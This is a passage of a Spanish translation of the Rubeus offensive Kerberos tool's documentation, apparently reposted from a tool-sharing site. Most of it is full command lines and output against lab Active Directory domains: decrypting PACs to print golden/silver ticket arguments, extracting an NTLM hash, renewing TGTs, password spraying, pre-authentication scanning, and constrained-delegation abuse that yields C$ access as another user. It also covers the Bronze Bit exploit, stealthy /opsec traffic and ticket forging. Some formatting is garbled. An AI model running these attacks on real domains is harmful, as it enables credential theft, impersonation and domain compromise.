      Signature            : DA57618BB48EA56371E374B1 (UNVALIDATED)

Si el PAC se puede descifrar (mediante una solicitud usuario-a-usuario o pasando la /servicekey) es posible imprimir los argumentos necesarios para falsificar un ticket que contenga los mismos valores del PAC:

root@kitploit:~
C:\Rubeus>Rubeus.exe asktgs /service:roast/me /printargs /servicekey:9FFB199F118556F579B415270EE835005227FCBF29331DAC27C4397AC353F52B /ticket:doIF9DCCBfCgAwIBBaEDAg...(snip)...cGFjay5sb2NhbA==

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0

[*] Action: Ask TGS

[*] Using domain controller: PDC1.rubeus.ghostpack.local (192.168.71.80)
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'roast/me'
[+] TGS request successful!
[*] base64(ticket.kirbi):

      doIF6jCCBeagAwIBBaEDAgEWooIE5zCCBONhggTfMIIE26ADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
                                        ...(snip)...
      AgECoQ0wCxsFcm9hc3QbAm1l

  ServiceName              :  roast/me
  ServiceRealm             :  RUBEUS.GHOSTPACK.LOCAL
  UserName                 :  harmj0y
  UserRealm                :  RUBEUS.GHOSTPACK.LOCAL
  StartTime                :  20/07/2021 00:02:27
  EndTime                  :  20/07/2021 09:57:46
  RenewTill                :  26/07/2021 23:57:46
  Flags                    :  name_canonicalize, pre_authent, renewable, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  U9Vnk0QnOmByQqF7i+5ujkinm9pRrevcRhw1sKVEVi4=
  Decrypted PAC            :
    LogonInfo              :
      LogonTime            : 19/07/2021 23:00:38
      LogoffTime           :
      KickOffTime          :
      PasswordLastSet      : 14/07/2021 02:07:12
      PasswordCanChange    : 15/07/2021 02:07:12
      PasswordMustChange   :
      EffectiveName        : harmj0y
      FullName             : Harm J0y
      LogonScript          :
      ProfilePath          :
      HomeDirectory        :
      HomeDirectoryDrive   :
      LogonCount           : 8
      BadPasswordCount     : 0
      UserId               : 1106
      PrimaryGroupId       : 513
      GroupCount           : 1
      Groups               : 513
      UserFlags            : (32) EXTRA_SIDS
      UserSessionKey       : 0000000000000000
      LogonServer          : PDC1
      LogonDomainName      : RUBEUS
      LogonDomainId        : S-1-5-21-3237111427-1607930709-3979055039
      UserAccountControl   : (528) NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
      ExtraSIDCount        : 1
      ExtraSIDs            : S-1-18-1
      ResourceGroupCount   : 0
    CredentialInfo         :
      Version              : 0
      EncryptionType       : rc4_hmac
      CredentialData    :   *** NO KEY ***
    ClientName             :
      Client Id            : 19/07/2021 23:57:46
      Client Name          : harmj0y
    UpnDns                 :
      DNS Domain Name      : RUBEUS.GHOSTPACK.LOCAL
      UPN                  : [email protected]
      Flags                : 0
    ServerChecksum         :
      Signature Type       : KERB_CHECKSUM_HMAC_SHA1_96_AES256
      Signature            : 96FA020562EE73B38D31AEEF (VALID)
    KDCChecksum            :
      Signature Type       : KERB_CHECKSUM_HMAC_SHA1_96_AES256
      Signature            : E7FDCBAF5F580DFB567DF102 (UNVALIDATED)


[*] Printing argument list for use with Rubeus' 'golden' or 'silver' commands:

/user:harmj0y /id:1106 /pgid:513 /logoncount:8 /badpwdcount:0 /sid:S-1-5-21-3237111427-1607930709-3979055039 /netbios:RUBEUS /displayname:"Harm J0y" /groups:513 /sids:S-1-18-1 /pwdlastset:"14/07/2021 02:07:12" /minpassage:1d /dc:PDC1.RUBEUS.GHOSTPACK.LOCAL /uac:NORMAL_ACCOUNT,DONT_EXPIRE_PASSWORD

Usando PKINIT para solicitar un TGT y luego solicitando un ticket de servicio usuario-a-usuario para obtener acceso al hash NTLM almacenado dentro del PAC (realizando manualmente la bandera /getcredentials de asktgt):

root@kitploit:~
C:\Rubeus>Rubeus.exe asktgs /u2u /asrepkey:CC9D16AB01D1BD0EF9EBD53C8AD536D9 /ticket:doIF9DCCBfCgAwIBBaED...(snip)...ay5sb2NhbA== /tgs:doIF9DCCBfCgAwIBBaED...(snip)...ay5sb2NhbA==

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0

[*] Action: Ask TGS

[*] Using domain controller: PDC1.rubeus.ghostpack.local (192.168.71.80)
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building User-to-User TGS-REQ request for: 'harmj0y'
[+] TGS request successful!
[*] base64(ticket.kirbi):

      doIFxTCCBcGgAwIBBaEDAgEWooIE1DCCBNBhggTMMIIEyKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
                                        ...(snip)...
      RVVTLkdIT1NUUEFDSy5MT0NBTKkUMBKgAwIBAaELMAkbB2hhcm1qMHk=

  ServiceName              :  harmj0y
  ServiceRealm             :  RUBEUS.GHOSTPACK.LOCAL
  UserName                 :  harmj0y
  UserRealm                :  RUBEUS.GHOSTPACK.LOCAL
  StartTime                :  19/07/2021 23:01:05
  EndTime                  :  20/07/2021 09:00:38
  RenewTill                :  26/07/2021 23:00:38
  Flags                    :  name_canonicalize, pre_authent, renewable, forwardable
  KeyType                  :  rc4_hmac
  Base64(key)              :  Qm9zdwFIINSHAAmqaviuEw==
  ASREP (key)              :  CC9D16AB01D1BD0EF9EBD53C8AD536D9
  Decrypted PAC            :
    LogonInfo              :
      LogonTime            : 19/07/2021 22:59:21
      LogoffTime           :
      KickOffTime          :
      PasswordLastSet      : 14/07/2021 02:07:12
      PasswordCanChange    : 15/07/2021 02:07:12
      PasswordMustChange   :
      EffectiveName        : harmj0y
      FullName             : Harm J0y
      LogonScript          :
      ProfilePath          :
      HomeDirectory        :
      HomeDirectoryDrive   :
      LogonCount           : 7
      BadPasswordCount     : 0
      UserId               : 1106
      PrimaryGroupId       : 513
      GroupCount           : 1
      Groups               : 513
      UserFlags            : (32) EXTRA_SIDS
      UserSessionKey       : 0000000000000000
      LogonServer          : PDC1
      LogonDomainName      : RUBEUS
      LogonDomainId        : S-1-5-21-3237111427-1607930709-3979055039
      UserAccountControl   : (528) NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
      ExtraSIDCount        : 1
      ExtraSIDs            : S-1-18-1
      ResourceGroupCount   : 0
    CredentialInfo         :
      Version              : 0
      EncryptionType       : rc4_hmac
      CredentialData       :
        CredentialCount    : 1
          NTLM             : C69A7EA908898C23B72E65329AF7E3E8
    ClientName             :
      Client Id            : 19/07/2021 23:00:38
      Client Name          : harmj0y
    UpnDns                 :
      DNS Domain Name      : RUBEUS.GHOSTPACK.LOCAL
      UPN                  : [email protected]
      Flags                : 0
    ServerChecksum         :
      Signature Type       : KERB_CHECKSUM_HMAC_MD5
      Signature            : ADEC4A1A7DF70D0A61047E510E778454 (VALID)
    KDCChecksum            :
      Signature Type       : KERB_CHECKSUM_HMAC_SHA1_96_AES256
      Signature            : 6CF688E02147BEEC168E0125 (UNVALIDATED)

Nota: La /asrepkey de la recuperación del TGT debe pasarse para descifrar la sección CredentialData donde se almacena el hash NTLM, pero el argumento /servicekey no es necesario aquí ya que se está utilizando la clave de sesión del TGT por tratarse de una solicitud usuario-a-usuario.

Solicitando un ticket de servicio usando la sesión actualmente iniciada:``` Rubeus.exe asktgs /service:LDAP/dc.ghostpack.local /nowrap


(_____ \ | | ) ) | | _____ _ _ ___ | __ /| | | | _ | ___ | | | |/) | | \ | || | |) ) | || | | || ||/|/|_____)__/(_/

v2.3.3

[*] Action: Ask TGS

[=] Requesting service ticket via LSA authentication package 2 using handle 0x9625072 [*] base64(ticket.kirbi):

root@kitploit:~
  doIGvDCCBrigAwIBBaEDAg(..snip..)

ServiceName : LDAP/dc.ghostpack.local ServiceRealm : GHOSTPACK.LOCAL UserName : CCob (NT_PRINCIPAL) UserRealm : GHOSTPACK.LOCAL StartTime : 25/02/2025 09:08:11 EndTime : 25/02/2025 18:48:39 RenewTill : 03/03/2025 12:47:40 Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable KeyType : aes256_cts_hmac_sha1 Base64(key) : k2xUOHFN1Xg(...snip...)

root@kitploit:~
Solicitando TGT de cuenta de equipo local mediante renovación. Requiere acceso de administrador local.  Si Credential Guard está presente, no será posible usar el ticket fuera del host.```
Rubeus.exe asktgs /service:krbtgt/ghostpack.local /luid:0x3e7

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.3

[*] Action: Ask TGS

[=] Requesting service ticket via LSA authentication package 2 using handle 0x10441184
[*] base64(ticket.kirbi):

      doIGuTCCBrWg(...snip...)IFhb3MuZGV2

  ServiceName              :  krbtgt/ghostpack.local
  ServiceRealm             :  GHOSTPACK.LOCAL
  UserName                 :  DC$ (NT_PRINCIPAL)
  UserRealm                :  GHOSTPACK.LOCAL
  StartTime                :  25/02/2025 09:18:37
  EndTime                  :  25/02/2025 11:35:10
  RenewTill                :  02/03/2025 10:35:06
  Flags                    :  name_canonicalize, pre_authent, renewable, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  k2xUOHFN1Xg(...snip...)

renew

La acción renew construye/procesa un intercambio de renovación de TGT TGS-REQ/TGS-REP sin procesar utilizando el /ticket:X suministrado. Este valor puede ser una codificación base64 de un archivo .kirbi o la ruta a un archivo .kirbi en el disco. Si no se especifica un /dc, se extrae y utiliza el controlador de dominio actual del equipo como destino del tráfico de renovación. El flag /ptt "pasa el ticket" y aplica la credencial Kerberos resultante a la sesión de inicio de sesión actual.

Tenga en cuenta que los TGT DEBEN renovarse antes de su EndTime, dentro de la ventana RenewTill.

root@kitploit:~
C:\Rubeus>Rubeus.exe renew /ticket:ticket.kirbi /ptt

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3

[*] Action: Renew TGT

[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ renewal for: 'TESTLAB.LOCAL\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 1506 bytes
[*] Received 1510 bytes
[+] TGT renewal request successful!
[*] base64(ticket.kirbi):

    doIFmjCCBZagAwIBBaEDAgEWoo...(snip)...

[*] Action: Import Ticket
[+] Ticket successfully imported!

El flag /autorenew tomará un archivo/blob .kirbi existente /ticket:X, dormirá hasta endTime-30 minutos, renovará automáticamente el ticket y mostrará el blob de ticket renovado. Continuará este proceso de renovación hasta que pase la ventana de renovación permitida (renew-till).

root@kitploit:~
C:\Rubeus>Rubeus.exe renew /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip)... /autorenew

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.3.3

[*] Action: Auto-Renew TGT


[*] User       : [email protected]
[*] endtime    : 2/10/2019 11:44:09 PM
[*] renew-till : 2/17/2019 6:44:09 PM
[*] Sleeping for 263 minutes (endTime-30) before the next renewal
[*] Renewing TGT for [email protected]

[*] Action: Renew TGT

[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ renewal for: 'TESTLAB.LOCAL\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 1506 bytes
[*] Received 1510 bytes
[+] TGT renewal request successful!
[*] base64(ticket.kirbi):

      doIFmjCCBZagAwIBBaEDAgEWoo...(snip)...

brute

La acción brute realiza un ataque de fuerza bruta o de pulverización de contraseñas basado en Kerberos. También se puede usar spray como nombre de la acción.

root@kitploit:~
C:\Rubeus>Rubeus.exe brute /password:Password123!! /noticket

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.5.0

[-] Blocked/Disabled user => Guest
[-] Blocked/Disabled user => DefaultAccount
[-] Blocked/Disabled user => krbtgt
[-] Blocked/Disabled user => disabled
[+] STUPENDOUS => newuser:Password123!!
[*] base64(newuser.kirbi):

      doIFLDCCBSigAwIBBaEDAgEWooIELDCCBChhggQkMIIEIKADAgEFoRAbDlR...(snip)...

preauthscan

La acción preauthscan enviará AS-REQ para todos los nombres de usuario pasados en el argumento /users para descubrir cuentas que no requieren preautenticación Kerberos.

root@kitploit:~
C:\Rubeus>Rubeus.exe preauthscan /users:uns.txt /domain:semperis.lab /dc:192.168.71.220

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.0

[*] Action: Scan for accounts not requiring Kerberos Pre-Authentication

[*] cclark: Pre-Auth Required
[*] jjones: Pre-Auth Not Required
[*] rwilliams: Pre-Auth Required
[*] svc_sqlserver: Pre-Auth Required
[*] pgreen: Pre-Auth Required
[*] jsmith: Pre-Auth Required
[*] tnahum: Pre-Auth Required
[*] sfederovsky: Pre-Auth Required

Abuso de delegación restringida

Desglose de los comandos de delegación restringida:

ComandoDescripción
s4uRealizar acciones S4U2self y S4U2proxy

s4u

La acción s4u es casi idéntica a la funcionalidad tgs::s4u de Kekeo. Si una cuenta de usuario (o equipo) está configurada para delegación restringida (es decir, tiene un valor SPN en su campo msds-allowedtodelegateto), esta acción se puede usar para abusar del acceso al SPN/servidor objetivo. La delegación restringida es compleja. Para más información, consulte esta publicación o la publicación de Elad Shamir "Wagging the Dog".

Una explicación TL;DR es que una cuenta con delegación restringida habilitada puede solicitar tickets para sí misma como cualquier usuario, en un proceso conocido como S4U2self. Para que se permita que una cuenta haga esto, debe tener TrustedToAuthForDelegation habilitado en su propiedad useraccountcontrol, algo que solo los usuarios elevados pueden modificar por defecto. Este ticket tiene el flag FORWARDABLE establecido por defecto. El servicio puede usar este ticket especialmente solicitado para solicitar un ticket de servicio a cualquier nombre principal de servicio (SPN) especificado en el campo msds-allowedtodelegateto de la cuenta. En resumen, si tiene control de una cuenta con TrustedToAuthForDelegation establecido y un valor en msds-allowedtodelegateto, puede hacerse pasar por cualquier usuario del dominio para los SPN establecidos en el campo msds-allowedtodelegateto de la cuenta.

Este "control" puede ser el hash de la cuenta (/rc4 o /aes256), o un TGT existente (/ticket:X) para la cuenta con un valor msds-allowedtodelegateto establecido. Si se proporciona un /user y un hash rc4/aes256, el módulo s4u realiza primero una acción asktgt, utilizando el ticket devuelto para los pasos siguientes. Si se proporciona un TGT /ticket:X, se utiliza ese TGT en su lugar.

Si se proporciona un hash de cuenta, se puede usar el interruptor /nopac para solicitar el TGT inicial sin un PAC.

Es posible utilizar un proxy KDC (MS-KKDCP) para realizar las solicitudes utilizando el argumento /proxyurl:URL. Se requiere la URL completa del proxy KDC, por ejemplo, https://kdcproxy.exmaple.com/kdcproxy. Cuando se usa con el comando s4u, todas las solicitudes se enviarán a través del proxy.

DEBE suministrarse un parámetro /impersonateuser:X al módulo s4u. Si no se suministra nada más, solo se ejecuta el proceso S4U2self, devolviendo un ticket retransmisible:

root@kitploit:~
C:\Rubeus>Rubeus.exe s4u /user:patsy /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:dfm.a

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1377 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):

    doIE+jCCBPagAwIBBaEDAgEWoo...(snip)...


[*] Action: S4U

[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2self request for: 'TESTLAB.LOCAL\patsy'
[*] Sending S4U2self request
[*] Connecting to 192.168.52.100:88
[*] Sent 1437 bytes
[*] Received 1574 bytes
[+] S4U2self success!
[*] Got a TGS for '[email protected]' to 'TESTLAB.LOCAL\patsy'
[*] base64(ticket.kirbi):

    doIF2jCCBdagAwIBBaEDAgEWoo...(snip)...

Ese ticket retransmisible puede usarse entonces como un parámetro /tgs:Y (blob base64 o archivo .kirbi) para ejecutar el proceso S4U2proxy. Se debe suministrar un valor msds-allowedtodelegateto válido para la cuenta (/msdsspn:X). Supongamos que la cuenta [email protected] se ve así:

root@kitploit:~
PS C:\> Get-DomainUser patsy -Properties samaccountname,msds-allowedtodelegateto | Select -Expand msds-allowedtodelegateto
ldap/PRIMARY.testlab.local/testlab.local
ldap/PRIMARY
ldap/PRIMARY.testlab.local/TESTLAB
ldap/PRIMARY/TESTLAB
ldap/PRIMARY.testlab.local/DomainDnsZones.testlab.local
ldap/PRIMARY.testlab.local/ForestDnsZones.testlab.local
ldap/PRIMARY.testlab.local

Entonces la función de abuso S4U2proxy (utilizando el ticket del proceso S4U2self anterior) sería:

root@kitploit:~
C:\Rubeus>Rubeus.exe s4u /ticket:doIE+jCCBPagAwIBBaEDAgEWoo..(snip).. /msdsspn:"ldap/PRIMARY.testlab.local" /tgs:doIF2jCCBdagAwIBBaEDAgEWoo..(snip)..
 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3

[*] Action: S4U

[*] Loaded a TGS for TESTLAB.LOCAL\[email protected]
[*] Impersonating user '[email protected]' to target SPN 'ldap/PRIMARY.testlab.local'
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2proxy request for service: 'ldap/PRIMARY.testlab.local'
[*] Sending S4U2proxy request
[*] Connecting to 192.168.52.100:88
[*] Sent 2641 bytes
[*] Received 1829 bytes
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'ldap/PRIMARY.testlab.local':

    doIGujCCBragAwIBBaEDAgEWoo..(snip)..

Donde /ticket:X es el TGT devuelto en el primer paso, y /tgs es el ticket S4U2self. Inyectar el ticket resultante (manualmente con Rubeus.exe ptt /ticket:X o suministrando el flag /ptt al comando s4u) le permitirá acceder al servicio ldap en primary.testlab.local como si fuera dfm.a.

El parámetro /altservice aprovecha el gran descubrimiento de Alberto Solino sobre cómo el nombre del servicio (sname) no está protegido en el archivo KRB-CRED, solo el nombre del servidor lo está. Esto nos permite sustituir cualquier nombre de servicio que queramos en el archivo KRB-CRED (.kirbi) resultante. Se pueden suministrar uno o más nombres de servicio alternativos, separados por comas (/altservice:cifs,HOST,...).

Ampliemos el ejemplo anterior, falsificando el acceso al sistema de archivos en primary.testlab.local abusando de su configuración de delegación restringida y la sustitución de servicio alternativo. Incluyamos todo en un solo paso, realizando una solicitud TGT, proceso S4U2self, ejecución S4U2proxy e inyección del ticket final:

root@kitploit:~
C:\Rubeus>dir \\primary.testlab.local\C$
Access is denied.

C:\Rubeus>Rubeus.exe s4u /user:patsy /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:dfm.a /msdsspn:"ldap/PRIMARY.testlab.local" /altservice:cifs /ptt

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1377 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):

    doIE+jCCBPagAwIBBaEDAgEWoo..(snip)..


[*] Action: S4U

[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2self request for: 'TESTLAB.LOCAL\patsy'
[*] Sending S4U2self request
[*] Connecting to 192.168.52.100:88
[*] Sent 1437 bytes
[*] Received 1574 bytes
[+] S4U2self success!
[*] Got a TGS for '[email protected]' to 'TESTLAB.LOCAL\patsy'
[*] base64(ticket.kirbi):

    doIF2jCCBdagAwIBBaEDAgEWoo..(snip)..

[*] Impersonating user 'dfm.a' to target SPN 'ldap/PRIMARY.testlab.local'
[*]   Final ticket will be for the alternate service 'cifs'
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2proxy request for service: 'ldap/PRIMARY.testlab.local'
[*] Sending S4U2proxy request
[*] Connecting to 192.168.52.100:88
[*] Sent 2641 bytes
[*] Received 1829 bytes
[+] S4U2proxy success!
[*] Substituting alternative service name 'cifs'
[*] base64(ticket.kirbi) for SPN 'cifs/PRIMARY.testlab.local':

    doIGujCCBragAwIBBaEDAgEWoo..(snip)..

[*] Action: Import Ticket
[+] Ticket successfully imported!

C:\Rubeus>dir \\primary.testlab.local\C$
Volume in drive \\primary.testlab.local\C$ has no label.
Volume Serial Number is A48B-4D68

Directory of \\primary.testlab.local\C$

07/05/2018  12:57 PM    <DIR>          dumps
03/05/2017  04:36 PM    <DIR>          inetpub
08/22/2013  07:52 AM    <DIR>          PerfLogs
04/15/2017  05:25 PM    <DIR>          profiles
08/28/2018  11:51 AM    <DIR>          Program Files
08/28/2018  11:51 AM    <DIR>          Program Files (x86)
10/09/2018  12:04 PM    <DIR>          Temp
08/23/2018  03:52 PM    <DIR>          Users
10/25/2018  01:15 PM    <DIR>          Windows
            1 File(s)              9 bytes
            9 Dir(s)  40,511,676,416 bytes free

Por defecto, existen varias diferencias entre las TGS-REQ S4U2Self y S4U2Proxy generadas por Rubeus y las solicitudes genuinas. Para formar las TGS-REQ más alineadas con las solicitudes genuinas, se puede utilizar el flag /opsec. Como este flag está destinado a hacer que el tráfico de Rubeus sea más sigiloso, no se puede usar por defecto con ningún tipo de cifrado que no sea aes256 y simplemente mostrará una advertencia y saldrá si se usa otro tipo de cifrado. Para permitir que se usen otros tipos de cifrado con los cambios de /opsec, existe el flag /force. El flag /opsec aún no se ha implementado para S4U entre dominios.

La explotación Bronze Bit (CVE-2020-17049) se implementa utilizando el flag /bronzebit. Agregar este flag volteará automáticamente el flag forwardable al recuperar el ticket S4U2Self. Dado que voltear este flag requiere que el ticket de servicio sea descifrado y recifrado, se requiere la clave a largo plazo (hash de contraseña de la cuenta de servicio). Por esta razón, si se suministra un TGT, también se requieren las credenciales de la cuenta de servicio para que esto funcione.

En ciertas circunstancias, es posible usar un ticket S4U2Self para suplantar usuarios protegidos con el fin de escalar privilegios en el sistema solicitante, como se discute aquí. Para este propósito, se pueden usar el flag /self y el argumento /altservice:X para generar un ticket de servicio utilizable.

Para forjar una remisión S4U2Self, solo se requiere la clave de confianza. Usando el argumento /targetdomain:X con el flag /self y sin el argumento /targetdc, Rubeus tratará el ticket suministrado con /ticket:X como una remisión S4U2Self y solo solicitará el ticket de servicio S4U2Self final. También se puede usar /altservice:X para reescribir el sname en el ticket resultante:

root@kitploit:~
C:\Rubeus>Rubeus.exe s4u /self /targetdomain:internal.zeroday.lab /dc:idc1.internal.zeroday.lab /impersonateuser:external.admin /domain:external.zeroday.lab /altservice:host/isql1.internal.zeroday.lab /nowrap /ticket:C:\temp\s4u2self-referral.kirbi

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.5.0

[*] Action: S4U

[*] Action: S4U

[*] Using domain controller: idc1.internal.zeroday.lab (192.168.71.20)
[*] Requesting the cross realm 'S4U2Self' for [email protected] from idc1.internal.zeroday.lab
[*] Sending cross realm S4U2Self request
[+] cross realm S4U2Self success!
[*] Substituting alternative service name 'host/isql1.internal.zeroday.lab'
[*] base64(ticket.kirbi):

      doIFETCCBQ...RheS5sYWI=

Falsificación de tickets

Desglose de los comandos de falsificación de tickets:

ComandoDescripción
goldenForjar un ticket de concesión de tickets (TGT)
silverForjar un ticket de servicio, también puede forjar TGT
diamondForjar un ticket diamante

Hay muchas similitudes entre los comandos golden y silver. La razón de que sean comandos separados es simplificar el comando golden. Los tickets de servicio pueden ser mucho más complejos que los TGT con diferentes claves y secciones adicionales, mientras que los TGT se pueden forjar con el comando silver. golden proporciona menos argumentos potenciales ya que las características no relevantes para TGT no están presentes.

La mayoría de los argumentos para estos dos comandos son para establecer campos PAC y deberían ser razonablemente autoexplicativos. Estos son:| Argumento | Descripción | |----------|-------------| | /user | Se usa como el usuario para consultar detalles si se pasa /ldap, pero también se usa para establecer el campo EffectiveName en el PAC y el campo cname en el EncTicketPart | | /dc | Especifica el controlador de dominio utilizado para la consulta LDAP si se pasa /ldap, pero también se usa para establecer el campo LogonServer en el PAC | | /netbios | Establece el campo LogonDomainName en el PAC | | /sid | Establece el campo LogonDomainId en el PAC | | /id | Establece el campo UserId en el PAC (Predeterminado: 500) | | /displayname | Establece el campo FullName en el PAC | | /logoncount | Establece el campo LogonCount en el PAC (Predeterminado: 0) | | /badpwdcount | Establece el campo BadPasswordCount en el PAC (Predeterminado: 0) | | /uac | Establece el campo UAC en el PAC (Predeterminado: NORMAL_ACCOUNT) | | /pgid | Establece el campo PrimaryGroupId en el PAC y también se agrega al campo /groups (Predeterminado: 513) | | /groups | Separado por comas. Establece el campo Groups en el PAC, también se le agrega /pgid. El total también se usa para calcular el campo GroupCount (Predeterminado: 520,512,513,519,518) | | /homedir | Establece el campo HomeDirectory en el PAC | | /homedrive | Establece el campo HomeDirectoryDrive en el PAC | | /profilepath | Establece el campo ProfilePath en el PAC | | /scriptpath | Establece el campo LogonScript en el PAC | | /logofftime | Establece el campo LogoffTime en el PAC. En formato de hora local - Se convierte a UTC automáticamente | | /lastlogon | Establece el campo LogonTime en el PAC. En formato de hora local - Se convierte a UTC automáticamente (Predeterminado: starttime - 1 segundo) | | /passlastset | Establece el campo PasswordLastSet en el PAC. En formato de hora local - Se convierte a UTC automáticamente | | /minpassage | Establece el campo PasswordCanChange en el PAC. Esto es relativo a PasswordLastSet, en número de días, por lo que '5' para 5 días | | /maxpassage | Establece el campo PasswordMustChange en el PAC. Esto es relativo a PasswordLastSet, en número de días, por lo que '5' para 5 días | | /sids | Separado por comas. Establece el campo ExtraSIDs en el PAC. También se usa para calcular el campo ExtraSIDCount | | /resourcegroupsid | Establece el campo ResourceGroupSid en el PAC. Si se usa, también se requiere | | /resourcegroups | Separado por comas. Establece el campo ResourceGroups en el PAC. También se usa para calcular el campo ResourceGroupCount. Si se usa, también se requiere |

Otros argumentos comunes para ambos comandos pero para establecer campos fuera del PAC son:

Para los tiempos relativos descritos en las tablas anteriores, el formato es un número entero usado como multiplicador seguido de un solo carácter que actúa como rango de tiempo. El significado de cada carácter compatible se muestra en la tabla a continuación (Estos distinguen entre mayúsculas y minúsculas):

CarácterDescripción
mMinutos
hHoras
dDías
MMeses
yAños

La otra característica común utilizada por ambos comandos es la recuperación de información LDAP. Tanto golden como silver admiten la recuperación de información a través de LDAP usando el flag /ldap. El flag /ldap se puede usar con los argumentos /creduser y credpassword para autenticarse como un usuario alternativo al recuperar esta información. La información se recupera enviando 3 consultas LDAP y montando el recurso compartido SYSVOL de un controlador de dominio (para leer el archivo de política de dominio) si no se pasa otra información. Las consultas LDAP se enviarán automáticamente a través de TLS y, si falla, se recurrirá a LDAP en texto plano.

La primera consulta LDAP, que siempre se enviará si se pasa ldap, consulta el usuario especificado en /user y recupera la mayor parte de la información del usuario necesaria para el PAC.

La segunda consulta LDAP se enviará si /groups, /pgid, /minpassage O /maxpassage no se proporcionan en la línea de comandos; cualquiera de estos argumentos dados en la línea de comandos evitará consultar LDAP para obtener la información. Esta consulta recupera los grupos de los que el usuario es miembro, incluido el grupo principal, junto con el objeto de política de dominio (utilizado para obtener la ruta al archivo de política). Si /minpassage o /maxpassage no se proporcionan en la línea de comandos y el objeto de política de dominio se recupera de LDAP, se monta el recurso compartido SYSVOL de un DC y se analiza el archivo de política para obtener los valores de MinimumPasswordAge (para establecer el valor adecuado para el campo PasswordCanChange en el PAC) y MaximumPasswordAge (para establecer el valor adecuado para el campo PasswordMustChange en el PAC).

Por último, si el argumento /netbios no se proporciona en la línea de comandos, se realiza una consulta LDAP para obtener el nombre netbios correcto del dominio desde el contenedor Configuration con el fin de establecer el campo LogonDomainName en el PAC. Si el flag /ldap no se da en la línea de comandos y el argumento /netbios tampoco se da, el primer elemento (antes del primer punto '.') se convierte a mayúsculas y se usa en su lugar.

